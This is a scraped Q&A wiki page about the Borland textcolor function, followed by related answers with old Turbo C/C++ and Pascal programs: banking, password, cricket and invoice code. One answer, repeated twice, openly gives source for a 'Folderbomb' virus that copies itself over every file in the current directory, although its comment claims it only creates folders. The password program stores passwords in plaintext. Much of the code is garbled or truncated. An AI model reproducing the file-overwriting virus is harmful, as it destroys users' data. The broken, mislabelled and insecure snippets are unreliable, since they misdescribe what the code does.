answersLogoWhite

0

What is textcolor?

Updated: 12/19/2022
User Avatar

Wiki User

15y ago

Want this question answered?

Be notified when an answer is posted

Add your answer:

Earn +20 pts
Q: What is textcolor?
Write your answer...
Submit
Still have questions?
magnify glass
imp
Continue Learning about Engineering

Cor c source code for Bank Management System?

code] //***********************************************************************// //***********************************************************************// //******COMPUTERISED BANKING SYSTEM BY ****// //Declaration of header files #include <iostream.h> #include <fstream.h> #include <process.h> #include <string.h> #include <stdio.h> #include <ctype.h> #include <conio.h> #include <dos.h> #include <stdlib.h> #include <iomanip.h> #include <graphics.h> typedef char option[15]; const int ROW = 10,COL = 10; int scan; // To hold the special characters for moving the prompt in menu int ascii; // To display the main menu options option a[]= { "NewAccount", "ListofAccounts", "IndAccount", "DailyTrans", "MonthlyReport", "EditAccount", "Exit"}; // Displays the modify menu options option b[] = { "Modify Account", "Closeaccount", "Quit" }; // Function used to do screening class main_menu { int i,done; public: void normalvideo(int x,int y,char *str); void reversevideo(int x,int y,char *str); void box(int x1,int y1,int x2,int y2); char menu(); void control_menu(); char e_menu(); void edit_menu(); void help(void); }; /* Class member functions for drawing boxes */ class shape { public: void line_hor(int, int, int, char); void line_ver(int, int, int, char); void box(int, int, int, int, char); }; // Class contains the initial deposit of customers class initial { public: void add_to_file(int, char t_name[30], char t_address[30], float); // For initial deposits in customers account void display_list(void); // Displaying customers account list void delete_account(int); // Deleting customers account void update_balance(int, char t_name[30], char t_address[30], float); // For updating the customer account void modify(void); // To modify the customer account information int last_accno(void); // To know the last account number int found_account(int); // To found the account is in "INITIAL.dat" or not char *return_name(int); // Function for validation entry of customer name char *return_address(int); // Function for validation entry of customer address float give_balance(int); // To print the balance amount of a particular customer int recordno(int); void display(int); // To display the customer account private: void modify_account(int, char t_name[30], char t_address[30]); // Function to modify the customer account int accno; char name[30], address[30]; float balance; }; // Class contains the customers daily transaction entry class account { public: void new_account(void); // Function to create a new account void close_account(void); // Function to close an account void display_account(void); // Function to display the accounts void transaction(void); // To display the transaction process void clear(int, int); // Function to perform a clear screen function void month_report(void); // Function to list monthWise transaction report private: void add_to_file(int, int, int, int, char, char t_type[10], float, float, float); // Function to add transaction records void delete_account(int); // Function to delete a transaction record int no_of_days(int, int, int, int, int, int); // Function to find the total days float calculate_interest(int, float); // Function for calculating interest of anaccount void display(int); // Function to display a transaction account void box_for_display(int); // Function for displaying box int accno; char type[10]; // Account type as Cheque or Cash int dd, mm, yy; // To store the system date/ Enter date char tran; // As the account type is Deposit or Withdraw float interest, amount, balance; }; // Function to displays all the menu prompt messages from the pointer array of option a[] void main_menu::normalvideo(int x,int y,char *str) { gotoxy(x,y); cprintf("%s",str); } // Function to move the cursor on the menu prompt with a reverse video color void main_menu::reversevideo(int x,int y,char *str) { textcolor(5+143); textbackground(WHITE); gotoxy(x,y); cprintf("%s",str); textcolor(GREEN); textbackground(BLACK); } void main_menu::box(int x1,int y1,int x2,int y2) { for(int col=x1;col<x2;col++) { gotoxy(col,y1); cprintf("%c",196); gotoxy(col,y2); cprintf("%c",196); } for(int row=y1;row<y2;row++) { gotoxy(x1,row); cprintf("%c",179); gotoxy(x2,row); cprintf("%c",179); } gotoxy(x1,y1); cprintf("%c",218); gotoxy(x1,y2); cprintf("%c",192); gotoxy(x2,y1); cprintf("%c",191); gotoxy(x2,y2); cprintf("%c",217); } char main_menu::menu() { clrscr(); textcolor(22); box(20, 6, 65, 20); box(18, 4, 67, 22); textcolor(5+143); gotoxy(36, 5); textbackground(BLUE); cprintf("B A N K I N G"); textbackground(BLACK); textcolor(22); for(i = 1; i < 7; i++) normalvideo(32, i+10, a[i]); reversevideo(32, 10, a[0]); i = done = 0; _setcursortype(_NOCURSOR); do { int key = getch(); switch (key) { case 00: key = getch(); switch (key) { case 72: normalvideo(32, i+10, a[i]); i--; if (i '0') return; if (strlen(t_address) > 25) {<br


Virus source code?

If you're talking about viruses on your computer, No you cannot.Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program./*this is a simple program to create a virus in cit will create folder in a folder in a folder and so on run this on your own responsibility*/includeincludeincludeincludeincludevoid main(int argc,char* argv[]){ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }


How do you program a cricket game in c plus plus?

#include //made by debjyoti dasghosh#include#include //if u have any problem email me at //debjyoti.dasghosh@yahoo.com#include#includeint us,cs,flag=0;void bat();void bowl();void cbat();void cbowl();void main(){start :textcolor(3);us=cs=flag=0;clrscr();char toss,name[30];int rand;randomize();cout


Related questions

What is textcolor in c plus plus?

C++ does not have a generic textcolor function. That function only exists in Borland/Embarcadero versions of C++. It is used to change the colour of console text. Code that uses this function is not compliant with the C++ standard and can only be used on Borland/Embarcadero compilers. You could write your own version of the function, but unless you provide all the necessary cross-platform alternatives your code will not compile on all platforms.


How do you Create a password program using turbo C?

/*:cool: Guys, This program make a file when its run. Run it and Understand it. and tell me, "can i improve in it more?*/ #include<stdio.h> #include<conio.h> #include<string.h> void main() { char user[20],fltp[5]=".txt",flname[25],pswrd[35],cnfrm[35],login[35],pchek[35],c,ps,cn,lg; int i,j,k,l; FILE *usr; clrscr(); gotoxy(25,23); textcolor(12); cprintf("Enter Your name:");//Note: this may be works as your username also. Name will be unique. scanf("%s",&user);//Scanf ko graphical bna. entry control strcpy(flname,user); strcat(flname,fltp); usr=fopen(flname,"r"); if(usr==NULL) { usr=fopen(flname,"w"); fprintf(usr,"Username: %s",user); printf("Welcome!\nYou are a new user\nCreat your password below"); printf("\nEnter Password:"); retry: j=0; while((ps=getch())!=13) { printf("*"); pswrd[j]=ps; j++; } pswrd[j]='\0'; printf("\nConfirm Password:"); k=0; while((cn=getch())!=13) { printf("*"); cnfrm[k]=cn; k++; } cnfrm[k]='\0'; if((strcmp(pswrd,cnfrm))==0) { fprintf(usr,"\nPassword: %s",cnfrm); fclose(usr); } else { printf("Password didn't match! Try Again...\n"); printf("Enter password again:"); goto retry; } } else { gotoxy(25,25); cprintf("Password:"); l=0; while((lg=getch())!=13) { printf("*"); login[l]=lg; l++; } login[l]='\0'; i=0; while((c=getc(usr))!= EOF) { if(c=='\n') { fseek(usr,10,1); while((c=getc(usr))!= EOF) { pchek[i]=c; i++; } } } pchek[i]='\0'; if((strcmp(login,pchek))==0) { gotoxy(25,27); textcolor(11); cprintf("Welcome Back %s",user); } else { gotoxy(19,27); textcolor(11); cprintf("Wrong Password! You are not authorised"); } } getch(); }


Cor c source code for Bank Management System?

code] //***********************************************************************// //***********************************************************************// //******COMPUTERISED BANKING SYSTEM BY ****// //Declaration of header files #include <iostream.h> #include <fstream.h> #include <process.h> #include <string.h> #include <stdio.h> #include <ctype.h> #include <conio.h> #include <dos.h> #include <stdlib.h> #include <iomanip.h> #include <graphics.h> typedef char option[15]; const int ROW = 10,COL = 10; int scan; // To hold the special characters for moving the prompt in menu int ascii; // To display the main menu options option a[]= { "NewAccount", "ListofAccounts", "IndAccount", "DailyTrans", "MonthlyReport", "EditAccount", "Exit"}; // Displays the modify menu options option b[] = { "Modify Account", "Closeaccount", "Quit" }; // Function used to do screening class main_menu { int i,done; public: void normalvideo(int x,int y,char *str); void reversevideo(int x,int y,char *str); void box(int x1,int y1,int x2,int y2); char menu(); void control_menu(); char e_menu(); void edit_menu(); void help(void); }; /* Class member functions for drawing boxes */ class shape { public: void line_hor(int, int, int, char); void line_ver(int, int, int, char); void box(int, int, int, int, char); }; // Class contains the initial deposit of customers class initial { public: void add_to_file(int, char t_name[30], char t_address[30], float); // For initial deposits in customers account void display_list(void); // Displaying customers account list void delete_account(int); // Deleting customers account void update_balance(int, char t_name[30], char t_address[30], float); // For updating the customer account void modify(void); // To modify the customer account information int last_accno(void); // To know the last account number int found_account(int); // To found the account is in "INITIAL.dat" or not char *return_name(int); // Function for validation entry of customer name char *return_address(int); // Function for validation entry of customer address float give_balance(int); // To print the balance amount of a particular customer int recordno(int); void display(int); // To display the customer account private: void modify_account(int, char t_name[30], char t_address[30]); // Function to modify the customer account int accno; char name[30], address[30]; float balance; }; // Class contains the customers daily transaction entry class account { public: void new_account(void); // Function to create a new account void close_account(void); // Function to close an account void display_account(void); // Function to display the accounts void transaction(void); // To display the transaction process void clear(int, int); // Function to perform a clear screen function void month_report(void); // Function to list monthWise transaction report private: void add_to_file(int, int, int, int, char, char t_type[10], float, float, float); // Function to add transaction records void delete_account(int); // Function to delete a transaction record int no_of_days(int, int, int, int, int, int); // Function to find the total days float calculate_interest(int, float); // Function for calculating interest of anaccount void display(int); // Function to display a transaction account void box_for_display(int); // Function for displaying box int accno; char type[10]; // Account type as Cheque or Cash int dd, mm, yy; // To store the system date/ Enter date char tran; // As the account type is Deposit or Withdraw float interest, amount, balance; }; // Function to displays all the menu prompt messages from the pointer array of option a[] void main_menu::normalvideo(int x,int y,char *str) { gotoxy(x,y); cprintf("%s",str); } // Function to move the cursor on the menu prompt with a reverse video color void main_menu::reversevideo(int x,int y,char *str) { textcolor(5+143); textbackground(WHITE); gotoxy(x,y); cprintf("%s",str); textcolor(GREEN); textbackground(BLACK); } void main_menu::box(int x1,int y1,int x2,int y2) { for(int col=x1;col<x2;col++) { gotoxy(col,y1); cprintf("%c",196); gotoxy(col,y2); cprintf("%c",196); } for(int row=y1;row<y2;row++) { gotoxy(x1,row); cprintf("%c",179); gotoxy(x2,row); cprintf("%c",179); } gotoxy(x1,y1); cprintf("%c",218); gotoxy(x1,y2); cprintf("%c",192); gotoxy(x2,y1); cprintf("%c",191); gotoxy(x2,y2); cprintf("%c",217); } char main_menu::menu() { clrscr(); textcolor(22); box(20, 6, 65, 20); box(18, 4, 67, 22); textcolor(5+143); gotoxy(36, 5); textbackground(BLUE); cprintf("B A N K I N G"); textbackground(BLACK); textcolor(22); for(i = 1; i < 7; i++) normalvideo(32, i+10, a[i]); reversevideo(32, 10, a[0]); i = done = 0; _setcursortype(_NOCURSOR); do { int key = getch(); switch (key) { case 00: key = getch(); switch (key) { case 72: normalvideo(32, i+10, a[i]); i--; if (i '0') return; if (strlen(t_address) > 25) {<br


Virus source code?

If you're talking about viruses on your computer, No you cannot.Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program./*this is a simple program to create a virus in cit will create folder in a folder in a folder and so on run this on your own responsibility*/includeincludeincludeincludeincludevoid main(int argc,char* argv[]){ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }


How do you program a cricket game in c plus plus?

#include //made by debjyoti dasghosh#include#include //if u have any problem email me at //debjyoti.dasghosh@yahoo.com#include#includeint us,cs,flag=0;void bat();void bowl();void cbat();void cbowl();void main(){start :textcolor(3);us=cs=flag=0;clrscr();char toss,name[30];int rand;randomize();cout


Example code in pascal that will convert numbers into words?

function conv2(x:integer):string;forward; function conv3(x:integer):string;forward; {***********Fonction_1*************} function conv1(x:integer):string; var temp:string; begin if (x>19) and (x<100) then conv2(x) else if (x>100) then conv3(x) else begin case x of 1:temp:='un '; 2:temp:='deux '; 3:temp:='trois '; 4:temp:='quatre '; 5:temp:='cinq '; 6:temp:='six '; 7:temp:='sept '; 8:temp:='huit '; 9:temp:='neuf '; 10:temp:='dix '; 11:temp:='onze '; 12:temp:='douze '; 13:temp:='treize '; 14:temp:='quatorze '; 15:temp:='quinze '; 16:temp:='seize '; 17:temp:='dix sept '; 18:temp:='dix huit '; 19:temp:='dix neuf '; end; conv1:=temp; end; end; {*************Fonction_2******************} function conv2(x:integer):string; var temp:string; z,y:integer; begin if (x<20) then conv1(x) else if (x>100)then conv3(x) else begin z:=x div 10; {= pour garder la partie gauche de x [4]5} y:=x mod 10; {= pour garder la partie droite de x 4[5]} if y=0 then begin case z of 2:temp:='vingt '; 3:temp:='trente '; 4:temp:='quarante '; 5:temp:='cinquante '; 6:temp:='soixante '; 7:temp:='soixante diz '; 8:temp:='quatre vingt '; 9:temp:='quatre vingt dix '; end; end else if y=1 then begin case z of 2:temp:='vingt et un '; 3:temp:='trente et un '; 4:temp:='quarante et un '; 5:temp:='cinquante et un '; 6:temp:='soixante et un '; 7:temp:='soixante et onze '; 8:temp:='quatre vingt et un '; 9:temp:='quatre vingt et onze '; end; end else begin case z of 2:temp:='vingt '+conv1(y); 3:temp:='trente '+conv1(y); 4:temp:='quarante '+conv1(y); 5:temp:='cinquante '+conv1(y); 6:temp:='soixante '+conv1(y); 7:temp:='soixante '+conv1(10+y); 8:temp:='quatre vingt '+conv1(y); 9:temp:='quatre vingt '+conv1(10+y); end; end; conv2:=temp; end; end; {****************fonction_3*******************} function conv3(x:integer):string; var temp:string; z,y:integer; begin if (x>19) and (x<100) then conv3:=conv2(x) else if (x<20)then conv3:=conv1(x) else begin z:=x div 100; {= pour garder la partie gauche de x [1]45} y:=x mod 100; {= pour garder la partie droite de x 1[45]} case z of 1:temp:='cent '; 2..9:temp:=conv1(z)+'cents '; end; case y of 1..19: temp:=temp+conv1(y); 20..99:temp:=temp+conv2(y); end; conv3:=temp; end; end; {**********Fin des fonctions de la conversion***********} Begin {----# Initialisation #-------} debut: ClrScr; i:=1; bool:=true; {-----# Selection de type du produit #------} while bool=true do begin clrscr; New(tab[i]); writeln;writeln; Writeln(' le type du produit '); writeln(' 1.Aliment/Détergent'); writeln(' 2.Electromenager'); writeln(' 3.Meuble'); writeln(' 4.Autre'); write(' FAITES VOTRE CHOIX : '); readln(c); case c of '1':tab[i]^.TVA:=(5/100); '2':tab[i]^.TVA:=(15/100); '3':tab[i]^.TVA:=(20/100); '4':tab[i]^.TVA:=(10/100) else goto debut; {-------- si c () 1..4 retour au debut } end; {------# Lire les attributs de chaque produit #-------} writeln; writeln(' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'); writeln(' ³Numero de Produit ³ ³'); writeln(' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'); writeln(' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'); writeln(' ³Designation ³ ³'); writeln(' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'); writeln(' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'); writeln(' ³PrixUnitaire ³ ³'); writeln(' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'); writeln(' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'); writeln(' ³Quantite ³ ³'); writeln(' ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'); writeln; with tab[i]^ do begin gotoxy(38,13); writeln(i); num:=i; gotoxy(38,16); readln(design); gotoxy(38,19); readln(prixU); gotoxy(38,22); readln(Qt); end; writeln; writeln(' ³Y a t-il d''autre produit?o/n ³ ³'); gotoxy(49,23); c:=readkey; if c='o' then begin bool:=true; i:=i+1; end else bool:=false; end; {-------# Calculer les prixHT et TTC de chaque produit #-------} for j:=1 to i do begin with tab[j]^ do begin prixHT:=prixU*Qt; prixTTC:=prixHT+prixHT*TVA; end; end; {----# Calculer le total HT et TTC de la facture #----} totalHT:=0; totalTTC:=0; for j:=1 to i do begin with tab[j]^ do begin totalHT:=totalHT+prixHT; totalTTC:=totalTTC+prixTTC; end; end; {-------------------# Affichage de la facture #---------------------} writeln;writeln; textcolor(2); writeln(' ÚÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿'); writeln(' ³Num³Designation³Prix Unitaire³QUANTITE³TVA %³ PrixHT ³ PrixTTC ³'); writeln(' ÃÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ³ÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛ³ÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛÛ³ÛÛÛÛÛÛÛÛÛÛ³'); writeln(' ÀÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ'); writeln(' ÚÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿'); writeln(' ³TOTAL HT ³ ³'); writeln(' ÃÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´'); writeln(' ³TOTAL TTC ³ ³'); writeln(' ÀÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ'); textbackground(blue); textcolor(14); for j:=1 to i do begin with tab[j]^ do begin gotoxy(12,j+3); writeln(num:2); gotoxy(16,j+3); writeln(design); gotoxy(29,j+3); writeln(PrixU:2:2); gotoxy(45,j+3); writeln(Qt:0:0); gotoxy(53,j+3); writeln(TVA*100:0:0); gotoxy(58,j+3); writeln(PrixHT:2:2); gotoxy(70,j+3); writeln(PrixTTC:2:2); end; end; gotoxy(69,21); writeln(totalHT:2:2,' DA'); gotoxy(69,23); writeln(totalTTC:2:2,' DA'); {-------#conversion#--------} milles:=''; cents:=''; a:=trunc(totalTTC); b:=frac(totalTTC); d:=trunc(b*100); x:=a div 1000; if x=0 then milles:='' else if x=1 then milles:='mille ' else milles:=conv3(x)+'milles '; y:=a mod 1000; if y=0 then cents:='' else cents:=conv3(y); resultat:=milles+cents; gotoxy(1,24); writeln('Arrèt la facture à la somme :'); write(resultat,'DA '); if d=0 then writeln('') else if d=1 then writeln('et un centime') else writeln('et ',conv3(d),'centimes'); readln; end.